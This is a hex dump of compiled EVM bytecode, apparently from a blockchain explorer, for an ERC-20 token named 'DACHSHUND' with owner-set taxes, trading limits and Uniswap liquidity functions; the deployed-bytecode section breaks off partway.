6040513d601f19601f82011682018060405250810190612d0d9190614f42565b81600181518110612d2157612d20615185565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612dbf9594939291906152ad565b600060405180830381600087803b158015612dd957600080fd5b505af1158015612ded573d6000803e3d6000fd5b505050505050565b6000600260049054906101000a900461ffff1660028054906101000a900461ffff16612e219190614b2b565b905060008161ffff161115612f7d5760008161ffff1660028054906101000a900461ffff1661ffff1684612e55919061468c565b612e5f9190614809565b905060008261ffff16600260049054906101000a900461ffff1661ffff1685612e88919061468c565b612e929190614809565b90506000821115612f07576002600a9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015612f05573d6000803e3d6000fd5b505b6000811115612f7a57600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612f78573d6000803e3d6000fd5b505b50505b5050565b600081111561309d5780600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612fd9919061473a565b9250508190555080600a60008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461302f91906148a6565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516130949190613f52565b60405180910390a35b5050565b606460016009600a6130b39190614641565b6305f5e1006130c2919061468c565b6130cc919061468c565b6130d69190614809565b600581905550606460016009600a6130ee9190614641565b6305f5e1006130fd919061468c565b613107919061468c565b6131119190614809565b6006819055506001601260006101000a81548160ff02191690831515021790555043600481905550600060179054906101000a900460ff1660ff16600060169054906101000a900460ff1660ff1660045460015461316f91906148a6565b61317991906148a6565b61318391906148a6565b600181905550600954600a6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546131fc919061473a565b925050819055506000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166040516024016040516020818303038152906040527ffff6cae9000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516132ce919061534e565b6000604051808303816000865af19150503d806000811461330b576040519150601f19603f3d011682016040523d82523d6000602084013e613310565b606091505b505090508060116000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060116000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661340557600080fd5b50565b6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050811561343a57600090505b61344384613b45565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71984308760008087426040518863ffffffff1660e01b81526004016134aa96959493929190615365565b60606040518083038185885af11580156134c8573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906134ed91906153db565b50505050505050565b6001601260016101000a81548160ff0219169083151502179055506000600954905060075481101580156135365750601260009054906101000a900460ff165b156136e057600854811061354a5760085490505b600060028060089054906101000a900461ffff1661ffff16600260069054906101000a900461ffff1661ffff1684613582919061468c565b61358c9190614809565b6135969190614809565b9050600081836135a6919061473a565b90506009600a6135b69190614641565b8111156136c457600047905083600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461361191906148a6565b9250508190555061362182612bd6565b8360096000828254613633919061473a565b9250508190555060008147613648919061473a565b90506000600260069054906101000a900461ffff1661ffff1611156136c1576000600260089054906101000a900461ffff1661ffff16600260069054906101000a900461ffff1661ffff168361369e919061468c565b6136a89190614809565b90506136b385613b45565b6136bf85826000613408565b505b50505b600047905060008111156136dc576136db81612df5565b5b5050505b506000601260016101000a81548160ff021916908315150217905550565b60008060019050601260009054906101000a900460ff16801561376b5750600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156137c15750600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561388a576005548311156137d95760009050613889565b601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561387e575060065483600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461387c91906148a6565b115b1561388857600090505b5b5b809150509392505050565b600080601260009054906101000a900460ff1615806138fd5750600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806139515750600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561395f5760009050613b3a565b601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613ab957600060179054906101000a900460ff1660ff16600060169054906101000a900460ff1660ff166004546139e491906148a6565b6139ee91906148a6565b4310613a25576064600260009054906101000a900460ff1660ff1684613a14919061468c565b613a1e9190614809565b9050613ab4565b600060169054906101000a900460ff1660ff16600454613a4591906148a6565b4310613a7c576064600060159054906101000a900460ff1660ff1684613a6b919061468c565b613a759190614809565b9050613ab3565b6004544310613ab2576064600060149054906101000a900460ff1660ff1684613aa5919061468c565b613aaf9190614809565b90505b5b5b613b39565b601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b38576064600260019054906101000a900460ff1660ff1684613b2b919061468c565b613b359190614809565b90505b5b5b809150509392505050565b80600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015613d2c577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff604051613d239190613f52565b60405180910390a35b50565b600081519050919050565b600082825260208201905092915050565b60005b83811015613d69578082015181840152602081019050613d4e565b60008484015250505050565b6000601f19601f8301169050919050565b6000613d9182613d2f565b613d9b8185613d3a565b9350613dab818560208601613d4b565b613db481613d75565b840191505092915050565b60006020820190508181036000830152613dd98184613d86565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613e1182613de6565b9050919050565b613e2181613e06565b8114613e2c57600080fd5b50565b600081359050613e3e81613e18565b92915050565b6000819050919050565b613e5781613e44565b8114613e6257600080fd5b50565b600081359050613e7481613e4e565b92915050565b60008060408385031215613e9157613e90613de1565b5b6000613e9f85828601613e2f565b9250506020613eb085828601613e65565b9150509250929050565b60008115159050919050565b613ecf81613eba565b82525050565b6000602082019050613eea6000830184613ec6565b92915050565b600080600060608486031215613f0957613f08613de1565b5b6000613f1786828701613e2f565b9350506020613f2886828701613e2f565b9250506040613f3986828701613e2f565b9150509250925092565b613f4c81613e44565b82525050565b6000602082019050613f676000830184613f43565b92915050565b600080600060608486031215613f8657613f85613de1565b5b6000613f9486828701613e2f565b9350506020613fa586828701613e2f565b9250506040613fb686828701613e65565b9150509250925092565b600060ff82169050919050565b613fd681613fc0565b82525050565b6000602082019050613ff16000830184613fcd565b92915050565b61400081613fc0565b811461400b57600080fd5b50565b60008135905061401d81613ff7565b92915050565b61402c81613eba565b811461403757600080fd5b50565b60008135905061404981614023565b92915050565b6000806040838503121561406657614065613de1565b5b60006140748582860161400e565b92505060206140858582860161403a565b9150509250929050565b600061ffff82169050919050565b6140a68161408f565b81146140b157600080fd5b50565b6000813590506140c38161409d565b92915050565b600080604083850312156140e0576140df613de1565b5b60006140ee858286016140b4565b92505060206140ff858286016140b4565b9150509250929050565b60006020828403121561411f5761411e613de1565b5b600061412d84828501613e65565b91505092915050565b6000806040838503121561414d5761414c613de1565b5b600061415b8582860161400e565b925050602061416c8582860161400e565b9150509250929050565b60008060006060848603121561418f5761418e613de1565b5b600061419d86828701613e2f565b93505060206141ae8682870161403a565b92505060406141bf8682870161403a565b9150509250925092565b6000602082840312156141df576141de613de1565b5b60006141ed84828501613e2f565b91505092915050565b6141ff8161408f565b82525050565b600060608201905061421a60008301866141f6565b61422760208301856141f6565b61423460408301846141f6565b949350505050565b61424581613e06565b82525050565b6000602082019050614260600083018461423c565b92915050565b60008060006060848603121561427f5761427e613de1565b5b600061428d868287016140b4565b935050602061429e868287016140b4565b92505060406142af868287016140b4565b9150509250925092565b600063ffffffff82169050919050565b6142d2816142b9565b81146142dd57600080fd5b50565b6000813590506142ef816142c9565b92915050565b6000806000806080858703121561430f5761430e613de1565b5b600061431d878288016142e0565b945050602061432e878288016142e0565b935050604061433f878288016142e0565b9250506060614350878288016142e0565b91505092959194509250565b6000806040838503121561437357614372613de1565b5b600061438185828601613e2f565b925050602061439285828601613e2f565b9150509250929050565b60006143a782613de6565b9050919050565b6143b78161439c565b81146143c257600080fd5b50565b6000813590506143d4816143ae565b92915050565b6000602082840312156143f0576143ef613de1565b5b60006143fe848285016143c5565b91505092915050565b7f4f6e6c79206f776e65722063616e2063616c6c20746869730000000000000000600082015250565b600061443d601883613d3a565b915061444882614407565b602082019050919050565b6000602082019050818103600083015261446c81614430565b9050919050565b7f4c502063616e6e6f74206265207461782077616c6c6574000000000000000000600082015250565b60006144a9601783613d3a565b91506144b482614473565b602082019050919050565b600060208201905081810360008301526144d88161449c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111561456557808604811115614541576145406144df565b5b60018516156145505780820291505b808102905061455e8561450e565b9450614525565b94509492505050565b60008261457e576001905061463a565b8161458c576000905061463a565b81600181146145a257600281146145ac576145db565b600191505061463a565b60ff8411156145be576145bd6144df565b5b8360020a9150848211156145d5576145d46144df565b5b5061463a565b5060208310610133831016604e8410600b84101617156146105782820a90508381111561460b5761460a6144df565b5b61463a565b61461d848484600161451b565b92509050818404811115614634576146336144df565b5b81810290505b9392505050565b600061464c82613e44565b915061465783613fc0565b92506146847fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461456e565b905092915050565b600061469782613e44565b91506146a283613e44565b92508282026146b081613e44565b915082820484148315176146c7576146c66144df565b5b5092915050565b7f54726164696e67206e6f74206f70656e00000000000000000000000000000000600082015250565b6000614704601083613d3a565b915061470f826146ce565b602082019050919050565b60006020820190508181036000830152614733816146f7565b9050919050565b600061474582613e44565b915061475083613e44565b9250828203905081811115614768576147676144df565b5b92915050565b7f43616e6e6f742073776170206d6f7265207468616e2031303025000000000000600082015250565b60006147a4601a83613d3a565b91506147af8261476e565b602082019050919050565b600060208201905081810360008301526147d381614797565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061481482613e44565b915061481f83613e44565b92508261482f5761482e6147da565b5b828204905092915050565b7f4e6f204554480000000000000000000000000000000000000000000000000000600082015250565b6000614870600683613d3a565b915061487b8261483a565b602082019050919050565b6000602082019050818103600083015261489f81614863565b9050919050565b60006148b182613e44565b91506148bc83613e44565b92508282019050808211156148d4576148d36144df565b5b92915050565b7f747820746f6f206c6f7700000000000000000000000000000000000000000000600082015250565b6000614910600a83613d3a565b915061491b826148da565b602082019050919050565b6000602082019050818103600083015261493f81614903565b9050919050565b7f77616c6c657420746f6f206c6f77000000000000000000000000000000000000600082015250565b600061497c600e83613d3a565b915061498782614946565b602082019050919050565b600060208201905081810360008301526149ab8161496f565b9050919050565b7f62616c616e636520746f6f206c6f770000000000000000000000000000000000600082015250565b60006149e8600f83613d3a565b91506149f3826149b2565b602082019050919050565b60006020820190508181036000830152614a17816149db565b9050919050565b6000614a2982613fc0565b9150614a3483613fc0565b9250828201905060ff811115614a4d57614a4c6144df565b5b92915050565b7f526f756e647472697020746f6f20686967680000000000000000000000000000600082015250565b6000614a89601283613d3a565b9150614a9482614a53565b602082019050919050565b60006020820190508181036000830152614ab881614a7c565b9050919050565b7f43616e6e6f74206578656d7074204c5000000000000000000000000000000000600082015250565b6000614af5601083613d3a565b9150614b0082614abf565b602082019050919050565b60006020820190508181036000830152614b2481614ae8565b9050919050565b6000614b368261408f565b9150614b418361408f565b9250828201905061ffff811115614b5b57614b5a6144df565b5b92915050565b7f416c6c2063616e6e6f7420626520300000000000000000000000000000000000600082015250565b6000614b97600f83613d3a565b9150614ba282614b61565b602082019050919050565b60006020820190508181036000830152614bc681614b8a565b9050919050565b7f416464204c502066697273740000000000000000000000000000000000000000600082015250565b6000614c03600c83613d3a565b9150614c0e82614bcd565b602082019050919050565b60006020820190508181036000830152614c3281614bf6565b9050919050565b7f74726164696e67206973206f70656e0000000000000000000000000000000000600082015250565b6000614c6f600f83613d3a565b9150614c7a82614c39565b602082019050919050565b60006020820190508181036000830152614c9e81614c62565b9050919050565b7f4d696e2f4d6178206572726f7200000000000000000000000000000000000000600082015250565b6000614cdb600d83613d3a565b9150614ce682614ca5565b602082019050919050565b60006020820190508181036000830152614d0a81614cce565b9050919050565b7f4d617820746f6f206c6f77000000000000000000000000000000000000000000600082015250565b6000614d47600b83613d3a565b9150614d5282614d11565b602082019050919050565b60006020820190508181036000830152614d7681614d3a565b9050919050565b7f4d617820746f6f20686967680000000000000000000000000000000000000000600082015250565b6000614db3600c83613d3a565b9150614dbe82614d7d565b602082019050919050565b60006020820190508181036000830152614de281614da6565b9050919050565b7f4c50206578697374730000000000000000000000000000000000000000000000600082015250565b6000614e1f600983613d3a565b9150614e2a82614de9565b602082019050919050565b60006020820190508181036000830152614e4e81614e12565b9050919050565b7f4e6f2045544820696e20636f6e7472616374206f72206d657373616765000000600082015250565b6000614e8b601d83613d3a565b9150614e9682614e55565b602082019050919050565b60006020820190508181036000830152614eba81614e7e565b9050919050565b7f4e6f20746f6b656e7320696e20636f6e74726163740000000000000000000000600082015250565b6000614ef7601583613d3a565b9150614f0282614ec1565b602082019050919050565b60006020820190508181036000830152614f2681614eea565b9050919050565b600081519050614f3c81613e18565b92915050565b600060208284031215614f5857614f57613de1565b5b6000614f6684828501614f2d565b91505092915050565b6000604082019050614f84600083018561423c565b614f91602083018461423c565b9392505050565b6000819050919050565b6000614fbd614fb8614fb384613de6565b614f98565b613de6565b9050919050565b6000614fcf82614fa2565b9050919050565b6000614fe182614fc4565b9050919050565b614ff181614fd6565b82525050565b600060208201905061500c6000830184614fe8565b92915050565b7f4e6f207472616e73666572732066726f6d205a65726f2077616c6c6574000000600082015250565b6000615048601d83613d3a565b915061505382615012565b602082019050919050565b600060208201905081810360008301526150778161503b565b9050919050565b7f4d455620626c6f636b6564000000000000000000000000000000000000000000600082015250565b60006150b4600b83613d3a565b91506150bf8261507e565b602082019050919050565b600060208201905081810360008301526150e3816150a7565b9050919050565b7f54582065786365656473206c696d697473000000000000000000000000000000600082015250565b6000615120601183613d3a565b915061512b826150ea565b602082019050919050565b6000602082019050818103600083015261514f81615113565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b60006151d96151d46151cf846151b4565b614f98565b613e44565b9050919050565b6151e9816151be565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61522481613e06565b82525050565b6000615236838361521b565b60208301905092915050565b6000602082019050919050565b600061525a826151ef565b61526481856151fa565b935061526f8361520b565b8060005b838110156152a0578151615287888261522a565b975061529283615242565b925050600181019050615273565b5085935050505092915050565b600060a0820190506152c26000830188613f43565b6152cf60208301876151e0565b81810360408301526152e1818661524f565b90506152f0606083018561423c565b6152fd6080830184613f43565b9695505050505050565b600081519050919050565b600081905092915050565b600061532882615307565b6153328185615312565b9350615342818560208601613d4b565b80840191505092915050565b600061535a828461531d565b915081905092915050565b600060c08201905061537a600083018961423c565b6153876020830188613f43565b61539460408301876151e0565b6153a160608301866151e0565b6153ae608083018561423c565b6153bb60a0830184613f43565b979650505050505050565b6000815190506153d581613e4e565b92915050565b6000806000606084860312156153f4576153f3613de1565b5b6000615402868287016153c6565b9350506020615413868287016153c6565b9250506040615424868287016153c6565b915050925092509256fea26469706673582212202f9e37d3d986b2b9c8771484fd5ec6428e0a9634dc3efaadd6f0ab4a0212915364736f6c63430008120033

Deployed Bytecode

0x6080604052600436106101f25760003560e01c80636373ea691161010d57806395d89b41116100a0578063c3f70b521161006f578063c3f70b52146106db578063dd62ed3e14610706578063e8078d9414610743578063f2fde38b1461074d578063f8b45b0514610776576101f9565b806395d89b411461061f578063a6097b0a1461064a578063a9059cbb14610673578063c04a5414146106b0576101f9565b806376a39c28116100dc57806376a39c28146105845780638a8c523c146105ad5780638d3e6e40146105b75780638da5cb5b146105f4576101f9565b80636373ea69146104d857806370a0823114610505578063715018a61461054257806375f0a87414610559576101f9565b8063368f4800116101855780634d4ce935116101545780634d4ce9351461041e5780634fcd24461461044957806357ff135a146104725780635a90a49e1461049b576101f9565b8063368f48001461037657806342966c681461039f57806346b89834146103c857806347062402146103f3576101f9565b806323b872dd116101c157806323b872dd146102ba5780632b14ca56146102f75780632fb528ba14610322578063313ce5671461034b576101f9565b806306fdde03146101fe578063095ea7b314610229578063147c9f6d1461026657806318160ddd1461028f576101f9565b366101f957005b600080fd5b34801561020a57600080fd5b506102136107a1565b6040516102209190613dbf565b60405180910390f35b34801561023557600080fd5b50610250600480360381019061024b9190613e7a565b6107de565b60405161025d9190613ed5565b60405180910390f35b34801561027257600080fd5b5061028d60048036038101906102889190613ef0565b6108d0565b005b34801561029b57600080fd5b506102a4610cbf565b6040516102b19190613f52565b60405180910390f35b3480156102c657600080fd5b506102e160048036038101906102dc9190613f6d565b610ce3565b6040516102ee9190613ed5565b60405180910390f35b34801561030357600080fd5b5061030c610eed565b6040516103199190613fdc565b60405180910390f35b34801561032e57600080fd5b506103496004803603810190610344919061404f565b610f04565b005b34801561035757600080fd5b506103606110ea565b60405161036d9190613fdc565b60405180910390f35b34801561038257600080fd5b5061039d600480360381019061039891906140c9565b6110f3565b005b3480156103ab57600080fd5b506103c660048036038101906103c19190614109565b6112b1565b005b3480156103d457600080fd5b506103dd61135d565b6040516103ea9190613f52565b60405180910390f35b3480156103ff57600080fd5b50610408611367565b6040516104159190613fdc565b60405180910390f35b34801561042a57600080fd5b5061043361137e565b6040516104409190613f52565b60405180910390f35b34801561045557600080fd5b50610470600480360381019061046b9190614136565b611388565b005b34801561047e57600080fd5b5061049960048036038101906104949190614176565b6114a2565b005b3480156104a757600080fd5b506104c260048036038101906104bd91906141c9565b61167f565b6040516104cf9190613ed5565b60405180910390f35b3480156104e457600080fd5b506104ed6116d5565b6040516104fc93929190614205565b60405180910390f35b34801561051157600080fd5b5061052c600480360381019061052791906141c9565b611716565b6040516105399190613f52565b60405180910390f35b34801561054e57600080fd5b5061055761175f565b005b34801561056557600080fd5b5061056e611868565b60405161057b919061424b565b60405180910390f35b34801561059057600080fd5b506105ab60048036038101906105a69190614266565b611892565b005b6105b56119fb565b005b3480156105c357600080fd5b506105de60048036038101906105d991906141c9565b611baa565b6040516105eb9190613ed5565b60405180910390f35b34801561060057600080fd5b50610609611c00565b604051610616919061424b565b60405180910390f35b34801561062b57600080fd5b50610634611c29565b6040516106419190613dbf565b60405180910390f35b34801561065657600080fd5b50610671600480360381019061066c91906142f5565b611c66565b005b34801561067f57600080fd5b5061069a60048036038101906106959190613e7a565b611ea5565b6040516106a79190613ed5565b60405180910390f35b3480156106bc57600080fd5b506106c5611f02565b6040516106d2919061424b565b60405180910390f35b3480156106e757600080fd5b506106f0611f2c565b6040516106fd9190613f52565b60405180910390f35b34801561071257600080fd5b5061072d6004803603810190610728919061435c565b611f36565b60405161073a9190613f52565b60405180910390f35b61074b611fbd565b005b34801561075957600080fd5b50610774600480360381019061076f91906143da565b61245d565b005b34801561078257600080fd5b5061078b612565565b6040516107989190613f52565b60405180910390f35b60606040518060400160405280600981526020017f444143485348554e440000000000000000000000000000000000000000000000815250905090565b600081600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516108be9190613f52565b60405180910390a36001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461095e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095590614453565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610a025750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610a585750601160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b610a97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8e906144bf565b60405180910390fd5b826002600a6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b60006009600a610ccf9190614641565b6305f5e100610cde919061468c565b905090565b6000610cee8461256f565b610d2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d249061471a565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610ed95781600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e58919061473a565b600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610ee484848461264a565b90509392505050565b6000600260019054906101000a900460ff16905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8990614453565b60405180910390fd5b6001601260016101000a81548160ff02191690831515021790555060648260ff161115610ff4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610feb906147ba565b60405180910390fd5b600060648360ff16600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611046919061468c565b6110509190614809565b90506009600a6110609190614641565b8111156110715761107081612bd6565b5b81156110ca576000479050600081116110bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b690614886565b60405180910390fd5b6110c847612df5565b505b506000601260016101000a81548160ff0219169083151502179055505050565b60006009905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611181576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117890614453565b60405180910390fd5b600060016103e88461ffff166009600a61119b9190614641565b6305f5e1006111aa919061468c565b6111b4919061468c565b6111be9190614809565b6111c891906148a6565b905060055481101561120f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120690614926565b60405180910390fd5b80600581905550600060016103e88461ffff166009600a6112309190614641565b6305f5e10061123f919061468c565b611249919061468c565b6112539190614809565b61125d91906148a6565b90506006548110156112a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129b90614992565b60405180910390fd5b8060068190555050505050565b60006112bc33611716565b905080821115611301576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f8906149fe565b60405180910390fd5b61130b3383612f81565b3373ffffffffffffffffffffffffffffffffffffffff167ffd38818f5291bf0bb3a2a48aadc06ba8757865d1dabd804585338aab3009dcb6836040516113519190613f52565b60405180910390a25050565b6000600754905090565b6000600260009054906101000a900460ff16905090565b6000600854905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611416576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140d90614453565b60405180910390fd5b606381836114249190614a1e565b60ff161115611468576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145f90614a9f565b60405180910390fd5b81600260006101000a81548160ff021916908360ff16021790555080600260016101000a81548160ff021916908360ff1602179055505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611530576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152790614453565b60405180910390fd5b80806115395750815b156115cc57601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156115cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c290614b0b565b60405180910390fd5b5b81600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600080600060028054906101000a900461ffff16600260049054906101000a900461ffff16600260069054906101000a900461ffff16925092509250909192565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146117ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117e490614453565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163600060405161185e919061424b565b60405180910390a1565b60006002600a9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611920576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191790614453565b60405180910390fd5b600081838561192f9190614b2b565b6119399190614b2b565b905060008161ffff1611611982576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197990614bad565b60405180910390fd5b83600260066101000a81548161ffff021916908361ffff160217905550826002806101000a81548161ffff021916908361ffff16021790555081600260046101000a81548161ffff021916908361ffff1